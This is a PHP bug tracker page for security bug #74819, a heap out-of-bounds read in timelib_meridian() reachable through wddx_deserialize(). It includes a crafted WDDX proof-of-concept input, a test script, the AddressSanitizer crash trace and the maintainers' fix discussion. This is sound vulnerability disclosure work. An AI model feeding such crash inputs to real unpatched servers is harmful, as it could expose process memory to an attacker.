php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #74819 wddx_deserialize() heap out-of-bound read via php_parse_date()
Submitted: 2017-06-27 06:36 UTC Modified: 2017-07-05 04:16 UTC
From: l dot wei at ntu dot edu dot sg Assigned: stas (profile)
Status: Closed Package: Date/time related
PHP Version: 7.1.6 OS: Linux
Private report: No CVE-ID: needed
 [2017-06-27 06:36 UTC] l dot wei at ntu dot edu dot sg
Description:
------------
While deserializing an invalid dateTime value, wddx_deserialize() would result in a heap out-of-bounds read in timelib_meridian(). As wddx_deserialize() is exposed to network data, and sometimes echo the results back to client, this issue could potentially allow remote peeking of the process memory. It should also affect other PHP APIs that make use of timelib_meridian().

Reproduced on both php-7.1.6 and php-5.6.30, tested on 32-bit builds, with ASAN enabled and USE_ZEND_ALLOC set to 0.

Configuration:
CC="`which gcc`" CFLAGS="-O0 -g -fsanitize=address" ./configure --prefix="`pwd`/../php7_wddx" --disable-shared --enable-wddx

Reproducer:
$ cat repro.wddx 
<?xml version='1.0'?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<header/>
	<data>
        	<struct>
                    <var name='aDateTime'>
                         <dateTime>I06.00am 0</dateTime>
                     </var>
                </struct>
	</data>
</wddxPacket>



Test script:
---------------
$ cat wddx.php 
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];

$dir_str = dirname(__FILE__);
$file_str = ($dir_str)."/".$argv[1];

if (!extension_loaded('wddx')) print "wddx not loaded.\n";

$wddx_str = file_get_contents($file_str);
print strlen($wddx_str) . " bytes read.\n";
var_dump(wddx_deserialize($wddx_str));
?>

Expected result:
----------------
No Crash

Actual result:
--------------
$ export USE_ZEND_ALLOC=0

$ ../../php7_wddx/bin/php wddx.php repro.wddx 
307 bytes read.
=================================================================
==13293== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb57057fa at pc 0x809b0f4 bp 0xbfb9c788 sp 0xbfb9c77c
READ of size 1 at 0xb57057fa thread T0
    #0 0x809b0f3 in timelib_meridian /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:410
    #1 0x80af10b in scan /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:5230
    #2 0x80f3822 in timelib_strtotime /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:24098
    #3 0x806afbd in php_parse_date /home/weilei/php-7.1.6/ext/date/php_date.c:1455
    #4 0x8a2fea7 in php_wddx_process_data /home/weilei/php-7.1.6/ext/wddx/wddx.c:1075
    #5 0x8a4489a in _cdata_handler /home/weilei/php-7.1.6/ext/xml/compat.c:265
    #6 0xb5d0a6b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
    #7 0xb5d5c9be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
    #8 0xb5d64462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
    #9 0x8a46705 in php_XML_Parse /home/weilei/php-7.1.6/ext/xml/compat.c:600
    #10 0x8a30293 in php_wddx_deserialize_ex /home/weilei/php-7.1.6/ext/wddx/wddx.c:1109
    #11 0x8a32cb3 in zif_wddx_deserialize /home/weilei/php-7.1.6/ext/wddx/wddx.c:1327
    #12 0x8de0fb6 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:675
    #13 0x8ddb38a in execute_ex /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:429
    #14 0x8ddcaf0 in zend_execute /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:474
    #15 0x8c35c00 in zend_execute_scripts /home/weilei/php-7.1.6/Zend/zend.c:1476
    #16 0x8a634e4 in php_execute_script /home/weilei/php-7.1.6/main/main.c:2537
    #17 0x90f9d1b in do_cli /home/weilei/php-7.1.6/sapi/cli/php_cli.c:993
    #18 0x90fc5f6 in main /home/weilei/php-7.1.6/sapi/cli/php_cli.c:1381
    #19 0xb5b03a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
    #20 0x8065200 in _start (/home/weilei/php7_wddx/bin/php+0x8065200)
0xb57057fa is located 0 bytes to the right of 10-byte region [0xb57057f0,0xb57057fa)
allocated by thread T0 here:
    #0 0xb61b2854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854)
    #1 0x8b76d40 in __zend_malloc /home/weilei/php-7.1.6/Zend/zend_alloc.c:2820
    #2 0x8b73e5f in _emalloc /home/weilei/php-7.1.6/Zend/zend_alloc.c:2413
    #3 0x8b74aaa in _safe_emalloc /home/weilei/php-7.1.6/Zend/zend_alloc.c:2472
    #4 0x8b75005 in _ecalloc /home/weilei/php-7.1.6/Zend/zend_alloc.c:2495
    #5 0x809b85c in timelib_string /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:460
    #6 0x80ae9dd in scan /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:5214
    #7 0x80f3822 in timelib_strtotime /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:24098
    #8 0x806afbd in php_parse_date /home/weilei/php-7.1.6/ext/date/php_date.c:1455
    #9 0x8a2fea7 in php_wddx_process_data /home/weilei/php-7.1.6/ext/wddx/wddx.c:1075
    #10 0x8a4489a in _cdata_handler /home/weilei/php-7.1.6/ext/xml/compat.c:265
    #11 0xb5d0a6b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
    #12 0xb5d5c9be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
    #13 0xb5d64462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
    #14 0x8a46705 in php_XML_Parse /home/weilei/php-7.1.6/ext/xml/compat.c:600
    #15 0x8a30293 in php_wddx_deserialize_ex /home/weilei/php-7.1.6/ext/wddx/wddx.c:1109
    #16 0x8a32cb3 in zif_wddx_deserialize /home/weilei/php-7.1.6/ext/wddx/wddx.c:1327
    #17 0x8de0fb6 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:675
    #18 0x8ddb38a in execute_ex /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:429
    #19 0x8ddcaf0 in zend_execute /home/weilei/php-7.1.6/Zend/zend_vm_execute.h:474
    #20 0x8c35c00 in zend_execute_scripts /home/weilei/php-7.1.6/Zend/zend.c:1476
    #21 0x8a634e4 in php_execute_script /home/weilei/php-7.1.6/main/main.c:2537
    #22 0x90f9d1b in do_cli /home/weilei/php-7.1.6/sapi/cli/php_cli.c:993
    #23 0x90fc5f6 in main /home/weilei/php-7.1.6/sapi/cli/php_cli.c:1381
    #24 0xb5b03a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weilei/php-7.1.6/ext/date/lib/parse_date.c:410 timelib_meridian
Shadow bytes around the buggy address:
  0x36ae0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x36ae0af0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 00[02]
  0x36ae0b00:fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36ae0b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:     fa
  Heap righ redzone:     fb
  Freed Heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
==13293== ABORTING
Aborted

$ ../php7_wddx/bin/php --version
PHP 7.1.6 (cli) (built: Jun 27 2017 12:59:32) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2017-07-02 21:46 UTC] stas@php.net
-Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: needed
 [2017-07-02 21:46 UTC] stas@php.net
The bug seems to be in timelib, not wddx, though not sure if it's triggerable from outside wddx. May be possible.
 [2017-07-02 22:01 UTC] stas@php.net
The fix is in security repo as 0d25fae279caf240340fb6805a9c54c20154db95 and in https://gist.github.com/bd77ac90d3bdf31ce2a5251ad92e9e75

Please verify.
 [2017-07-03 03:11 UTC] l dot wei at ntu dot edu dot sg
Patch works for all the crash repros I have, on a 32-bit build of PHP-7.1.6. 

I have not found other triggers other than wddx so far.
 [2017-07-03 03:17 UTC] l dot wei at ntu dot edu dot sg
Please attribute the finding to:

Wei Lei and Liu Yang of Nanyang Technological University

Thanks.
 [2017-07-05 02:28 UTC] stas@php.net
-Package: WDDX related +Package: Date/time related
 [2017-07-05 02:28 UTC] stas@php.net
Reclassifying since it's actually timelib issue.
 [2017-07-05 04:16 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2017-07-05 04:16 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2017-07-13 05:42 UTC] fernando at null-life dot com
So... this looks like a duplicate of the bug I reported last year and has been on hold since then.

Sec Bug #72959	timelib_meridian out-of-bounds access
Submitted:	2016-08-28 22:32 UTC	Modified:	2016-09-06 00:55 UTC	
From:	fernando at null-life dot com	Assigned:	derick

This sucks
 [2017-07-31 09:40 UTC] stackexploit at gmail dot com
Looks like it's a duplicate of https://bugs.php.net/bug.php?id=73109
I reported #73109 almost 1 year ago, and I claimed that the patch you supplied was insufficient. So why you choose to ignore it?
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Nov 19 01:31:42 2017 UTC